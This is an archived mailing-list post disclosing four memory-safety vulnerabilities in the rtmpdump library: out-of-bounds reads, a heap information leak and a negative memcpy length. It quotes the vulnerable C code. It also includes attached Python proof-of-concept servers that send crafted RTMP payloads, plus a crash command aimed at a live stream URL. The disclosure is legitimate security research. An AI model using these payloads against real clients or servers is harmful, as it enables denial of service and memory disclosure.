[rtmpdump] Four vulnerabilities at rtmpdump project

zq tang zqtang.chn at gmail.com
Tue Sep 28 11:51:46 EEST 2021


Hello, I've found 4 vulnerabilities while auditing the rtmpdump
project(git://git.ffmpeg.org/rtmpdump).

1. Return value of the AMF3ReadString function in amf.c, causing
out-of-bounds reading
During the second handshake stage, the string (message) can be encoded as a
value or reference. The first identification string is a value or
reference. 0 means that the string is encoded as value, and the remaining
28 bits are used for encoding its length. 1 means that the string is
encoded as a quotation, and the remaining 28 bits are used for coded
quotation. The code to decode the amf3 string is as follows:

int
AMF3ReadString(const char *data, AVal *str)
{
  int32_t ref = 0;
  int len;
  assert(str != 0);

  len = AMF3ReadInteger(data, &ref);
  data += len;

  if ((ref & 0x1) == 0)
    { /* reference: 0xxx */
      uint32_t refIndex = (ref >> 1);
      RTMP_Log(RTMP_LOGDEBUG,
 "%s, string reference, index: %d, not supported, ignoring!",
 __FUNCTION__, refIndex);
 str->av_val = NULL;
 str->av_len = 0;
      return len;
    }
  else
    {
      uint32_t nSize = (ref >> 1);

      str->av_val = (char *)data;
      str->av_len = nSize;

      return len + nSize;
    }
  return len;
}

int
AMF3_Decode(AMFObject *obj, const char *pBuffer, int nSize, int bAMFData)
{
……
  int len;
……
 len = AMF3ReadString(pBuffer, &cd.cd_name);
 nSize -= len;
 pBuffer += len;
……
     if (nSize <=0)
{
invalid:
 RTMP_Log(RTMP_LOGDEBUG, "%s, invalid class encoding!",
   __FUNCTION__);
 return nOriginalSize;
}
     len = AMF3ReadString(pBuffer, &memberName);
……
}

The return value of AMF3ReadString is assigned to a signed variable “len”,
which set len to  a negative number[CWE-196], and nSize and pBuffer are
added and subtracted without testing. nSize represents the number of unread
bytes in the buffer. After pBuffer += len (big unsigned int) then using it
causes address controllable, length-controllable out-of-bounds read.

PoC (poc1.py) is in the attachment.
$ python2 poc1.py
$ rtmpdump -r rtmp://127.0.0.1/test/test -o /dev/null
RTMPDump v2.4
(c) 2010 Andrej Stepanchuk, Howard Chu, The Flvstreamer Team; license: GPL
Connecting ...
INFO: Connected...
Segmentation fault (core dumped)


2. Misuse of snprintf in the HTTP_Post function in rtmp.c causes heap
information leakage
The code is as follows:
static int HTTP_Post(RTMP *r, RTMPTCmd cmd, const  char *buf, int  len)
{
char hbuf[512];
int hlen = snprintf(hbuf, sizeof(hbuf), "POST /%s%s/%d HTTP/1.1\r\n"
 "Host: %.*s:%d\r\n"
 "Accept: */*\r\n"
 "User-Agent: Shockwave Flash\r\n"
 "Connection: Keep-Alive\r\n"
 "Cache-Control: no-cache\r\n"
 "Content-type: application/x-fcs\r\n"
 "Content-length: %d\r\n\r\n", RTMPT_cmds[cmd],
 r->m_clientID.av_val ? r->m_clientID.av_val : "",
 r->m_msgCounter, r->Link.hostname.av_len, r->Link.hostname.av_val,
 r->Link.port, len);
RTMPSockBuf_Send(&r->m_sb, hbuf, hlen);
hlen = RTMPSockBuf_Send(&r->m_sb, buf, len);
r->m_msgCounter++;
r->m_unackd++;
return hlen;
}

The maximum length of hbuf is 512 bytes, and the maximum length of
characters written by snprintf is 512 bytes (sizeof(hbuf)). When the length
of the formatted string is greater than 512, the excess part will be
truncated, and the return value hlen represents the length of the string to
be copied instead of the actual length of the actual copy.
RTMPSockBuf_Send(&r->m_sb, hbuf, hlen); regards hlen as the length of the
actual copy, which  sends more data from hbuf.


3. Negative memcpy length in AMF_EncodeString function in amf.c
The code is as follows:
char * AMF_EncodeString(char *output, char *outend, const AVal *bv){
if ((bv->av_len < 65536 && output + 1 + 2 + bv->av_len > outend) ||
output + 1 + 4 + bv->av_len > outend)
return  NULL;
if (bv->av_len < 65536){
*output++ = AMF_STRING;
output = AMF_EncodeInt16(output, outend, bv->av_len);
}
else{
*output++ = AMF_LONG_STRING;
output = AMF_EncodeInt32(output, outend, bv->av_len);
}
memcpy(output, bv->av_val, bv->av_len);
output += bv->av_len;
return output;
}

The bv->av_len can be negative, and a malicious command can be constructed
to make parseAMF() using a negative memcpy length, causing DoS.

PoC:
$ rtmpdump -i "rtmp://media3.scctv.net/live/scctv_800 conn=O:\05
conN=NS:\:0" -o /dev/null
rtmp://media3.scctv.net/live/scctv_800 can be any valid online rtmp url.


4. 3-byte out-of-bounds read in the AMF3ReadString function in amf.c
 Here the code is extracted from the amf.c AMF3_Decode function.
for (i = 0; i < cdnum; i++){
AVal memberName;
if (nSize <=0){
invalid:
RTMP_Log(RTMP_LOGDEBUG, "%s, invalid class encoding!", __FUNCTION__);
return nOriginalSize;
}
len = AMF3ReadString(pBuffer, &memberName);
RTMP_Log(RTMP_LOGDEBUG, "Member: %s", memberName.av_val);
AMF3CD_AddProp(&cd, &memberName);
nSize -= len;
pBuffer += len;
}

The patch for the CVE-2015-8270 vulnerability: if (nSize <= 0){…} prevents
pBuffer from increasing out of bounds, but when nSize == 1, it bypasses the
patch, and the subsequent AMF3ReadString can read up to 4 bytes afterwards,
so it can read 3 bytes out of bounds.

PoC (poc4.py) is in the attachment.
$ python2 poc4.py
$ rtmpdump -r rtmp://127.0.0.1/test/test -o /dev/null

Best regards,
Zhiquan Tang of Tencent Blade Team
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <https://lists.mplayerhq.hu/pipermail/rtmpdump/attachments/20210928/17df0167/attachment.htm>
-------------- next part --------------
#!/usr/bin/env python2
import socket
import signal
import sys

HOST = '0.0.0.0'
PORT = 1935
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
conn, addr = s.accept()

def run_program():
    print 'Connected by', addr
    data = conn.recv(2048)
    conn.send(data)
    print 'handshake 1 complete'
    data = conn.recv(2048)
    conn.send(data)
    print 'handshake 2 complete'
    data = conn.recv(2048)
    print 'sending exploit...'
    print "data sent:"
    
    # four data value is avaliable
    data='\x03\x00\x00\x00\x00\x00\x18\x14\x00\x00\x00\x00\x02\x00\x01\x5f\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x11\x0a\xfd\xfb\xff\x0b\xc2\xfa\xf3\x11\xf6'
    # data='\x03\x00\x00\x00\x00\x00\x18\x14\x00\x00\x00\x00\x02\x00\x01\x5f\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x11\x7f\x07\x00\x0b\xfa\xe7\xff\x7f\x06\x11'
    # data='\x03\x00\x00\x00\x00\x00\x18\x14\x00\x00\x00\x00\x02\x00\x01\x5f\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x11\xff\xff\xe7\xff\xff\xff\xbf\x09\xff\xff'
    # data='\x03\x00\x00\x00\x00\x00\x17\x14\x00\x00\x00\x00\x02\x00\x01\x5f\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x11\x0a\x17\xce\xfa\xdf\x05\x2e\x2e\x29'
    conn.send(data)
    conn.close()

if __name__ == '__main__':
    run_program()
-------------- next part --------------
#!/usr/bin/env python2
import socket
import signal
import sys

HOST = '0.0.0.0'
PORT = 1935
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
conn, addr = s.accept()

def run_program():
    print 'Connected by', addr
    data = conn.recv(2048)
    conn.send(data)
    print 'handshake 1 complete'
    data = conn.recv(2048)
    conn.send(data)
    print 'handshake 2 complete'
    data = conn.recv(2048)
    print 'sending exploit...'
    print "data sent:"
    
    data='\x03\x00\x00\x00\x00\x00\x22\x14\x00\x00\x00\x00\x02\x00\x01\x5f\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x11\x11\xF5\x2F\xF5\x00\x00\x00\x15\x2C\x2C\x00\x00\x00\x09\x6B\xF2\x51\xE5\x00\xCD '
    conn.send(data)
    conn.close()

if __name__ == '__main__':
    run_program()


More information about the rtmpdump mailing list